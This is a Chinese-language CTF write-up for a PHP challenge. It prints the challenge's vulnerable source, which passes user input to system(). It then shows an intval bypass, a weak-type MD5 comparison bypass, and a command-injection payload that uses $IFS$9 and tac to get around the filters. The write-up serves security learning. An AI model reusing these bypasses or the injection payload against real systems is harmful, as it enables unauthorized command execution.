题目:
题目一打开显示乱码,我们用火狐浏览器调整一下编码就OK,但是不知道为什么qq浏览器调整之后还是不行
火狐浏览器->三道杠->更多->文字编码->Unicode就可以了
痛苦才刚刚开始
1.看到bot字眼,第一眼想到buu的bot机器人,然后就想到robots.txt网站的爬虫规则,访问一下,果然有料
2.访问一下fAke_f1agggg.php,我就知道不会这么简单
3.对页面抓包看一下,F12看也一样,有料,看到了Look_at_me: /fl4g.php
4.大眼一看三层绕过,还让我去非洲???
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | <?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__); //level 1 if (isset($_GET['num'])){ $num = $_GET['num']; if(intval($num) < 2020 && intval($num + 1) > 2021){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>"; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>"; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); } //get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>"; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); } ?> |
5.intval函数绕过
1 2 3 4 5 6 7 8 9 10 | if (isset($_GET['num'])){ $num = $_GET['num']; if(intval($num) < 2020 && intval($num + 1) > 2021){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>"; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); } |
GET接收num传参,num要小于2020,加1之后要大于2021,否则要么die,要么还是die
随后查询intval()函数的使用方式,发现如果intval函数参数填入科学计数法的字符串,会以e前面的数字作为返回值而对于科学计数法+数字则会返回字符串类型
这样一来就可以bypass
6.MD5弱类型
1 2 3 4 5 6 7 8 9 | if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>"; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); } |
意思就是找到一串数字使它md5加密前后数值相等,显而易见的md5如类型
产生条件我们都知道,是因为php具有弱类型,== 在进行比较的时候,会先将字符串类型转化成相同,再比较
这种数字百度就可以搜到,
成功突破第二关
7.get flag
1 2 3 4 5 6 7 8 9 10 11 12 | if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>"; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); } |
意思就是:get_flag用于接收参数,作为系统命令执行,传参不能有空格,如果有cat,将会被替换为wctf2020
先传一个ls看一看,目标出现了
虽然过滤了cat命令,但是我们可以使用tac命令,用法就是将按行倒着显示,最后一行显示在最上面
绕过空格,我们可以使用$IFS$9
留存一下绕过小技巧的文章https://www.freebuf.com/articles/web/137923.html
所以最终payload
1 | /fl4g.php?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag |